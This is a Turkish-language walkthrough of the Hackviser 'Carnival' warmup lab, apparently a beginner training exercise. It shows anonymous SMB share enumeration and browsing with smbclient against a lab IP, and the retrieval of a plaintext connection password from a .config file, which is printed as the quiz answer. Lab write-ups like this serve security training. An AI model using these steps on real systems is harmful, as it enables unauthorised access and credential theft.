

CARNIVAL WRITE-UP

Merhaba arkadaşlar. Bugün sizlerle Hackviser platformunda bulunan Carnival adlı Warmup' ını yazacağım.

SORU 1: Genellikle 445 portunu kullanan SMB servisinin açılımı nedir?

SERVER MESSAGE BLOCK

SORU 2: "Looks interesting" yorumunu içeren paylaşılan klasörün adı nedir?

Bu sorunun cevabını bulabilmemiz için öncelikle smb bağlantısı kurmamız gerekmektedir. Uzun araştırmalarım sonucunda "smbclient" aracı ile bunu yapabildiğimizi buldum.

Smbclient --no-pass -L <IP_ADDRESS> komutu ile giriş yapmayı deneyelim.

```
(root@kali)-[/tmp]
# smbclient --no-pass -L 172.20.36.162

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      Projects        Disk      Looks Interesting
      Users           Disk
```

Ve başarılı. Cevap: **Projects**

SORU 3: SMB bağlantısından sonra hangi komutları çalıştırabileceğimizi gösteren yardımcı komut nedir?

Linux'ta neredeyse birçok tool'da olduğu gibi bu tool içinde **help** komutu kullanılır.

SORU 4: Projenin ismi nedir?

Bu sorunun cevabını bulmak için smbclient --help yaparak biraz kurcalıyoruz.

"smbclient --no-pass \\\\[<IP_ADDRESS>](#)\\<Foldername>"

Komutu ile cevaba ulaşmaya çalışalım. Şimdi tam olarak bağlantı kurmuş olduk. "l" ile cevaba gidelim.

```
(root@kali)-[/tmp]
# smbclient --no-pass \\\\172.20.36.162\\Projects
Try "help" to get a list of possible commands.
smb: \> l
.                D          0  Thu Jan  4 14:56:44 2024
..               D          0  Thu Jan  4 14:56:44 2024
Bird              D          0  Thu Jan  4 14:57:38 2024
```

Cevap: **Bird**

SORU 5: .config dosyası içindeki bağlantı şifresi nedir?

```
smb: \> cd Bird
smb: \Bird\> l
.                D            0   Thu Jan  4 14:57:38 2024
..               D            0   Thu Jan  4 14:57:38 2024
.config          A            79   Thu Jan  4 14:53:22 2024
Abp.sln          A       49780   Thu Jan  4 14:53:23 2024
appveyor.yml     A        148   Thu Jan  4 14:53:22 2024
build            D            0   Thu Jan  4 14:53:23 2024
global.json      A            76   Thu Jan  4 14:53:23 2024
NuGet.Config     A            75   Thu Jan  4 14:53:22 2024
nupkg            D            0   Thu Jan  4 14:53:22 2024
src              D            0   Thu Jan  4 14:57:48 2024

10344703 blocks of size 4096. 7838281 blocks available
smb: \Bird\> more .config
```

.config dosyası Bird klasörü

içerisinde. More .config komutu ile içeriğini görüntüleyelim.

```
CONNECTION_USER=hackviser
CONNECTION_PASS=5afcb573-d71e-490f-841a-accab64082c2
/tmp/smbmore.Uqcnrz (END)
```

Cevap: **5afcb573-d71e-490f-841a-accab64082c2**